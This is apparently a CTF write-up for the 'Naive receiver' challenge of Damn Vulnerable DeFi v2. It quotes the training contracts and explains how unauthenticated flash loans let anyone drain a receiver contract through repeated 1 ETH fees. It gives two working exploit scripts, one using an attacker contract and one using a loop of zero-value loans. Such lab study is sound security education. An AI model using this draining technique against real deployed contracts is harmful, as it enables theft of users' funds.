02.Naive receiver
2023-06-23 21:01:28 # 05.Damn Vulnerable DeFi v2 CTF

Naive receiver

analyse

1
2
3
4
5
6
7
8
9
10
11
after(async function () {
/** SUCCESS CONDITIONS */

// All ETH has been drained from the receiver
expect(
await ethers.provider.getBalance(this.receiver.address)
).to.be.equal('0');
expect(
await ethers.provider.getBalance(this.pool.address)
).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER));
});

The goal is to drain the receiver’s contract and add ETHER_IN_RECEIVER to pool contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);

require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
  • address(this).balance >= balanceBefore + FIXED_FEE:The flash loan contract that takes a heavy fee(1ETH) on each flash loan.

  • The issue here is that the FlashLoanReceiver does not authenticate the caller to be the owner, so anyone can just take any flash loan on behalf of that contract.

  • To solve this challenge in a single transaction we can deploy a contract that repeatedly takes flash loans on the user contract’s behalf until its balance is less than the flash loan fee.
  • in the test file, receiverFlashLoanReceiver gets 10 ETH , we should drain it.
1
await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER });
  • The FlashLoanReceiver’s function receiveEther(uint256) will pay msg.value + fee ETH to the pool.
1
2
3
4
5
6
7
8
9
10
11
12
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");

uint256 amountToBeRepaid = msg.value + fee;

require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

_executeActionDuringFlashLoan();

// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
  • So if we take flash loans 10 times with zero ETH to loan on the user contract’s behalf ,it will take FlashLoanReceiver 10 ETH fee in total.(Of course the transaction is called by the attacker, the gas will be decrease by attacker)

solutions

way 1

1
2
3
4
5
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const attackerContract = await (await ethers.getContractFactory('NaiveReceiverAttacker', attacker)).deploy(this.pool.address);
await attackerContract.connect(attacker).attack(this.receiver.address, 10);
});

way 2

1
2
3
4
5
6
7
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
for (i = 1; i <= 10; i++) {
await this.pool.connect(attacker).flashLoan(this.receiver.address, 0)
console.log(i, String(await ethers.provider.getBalance(this.receiver.address)))
}
});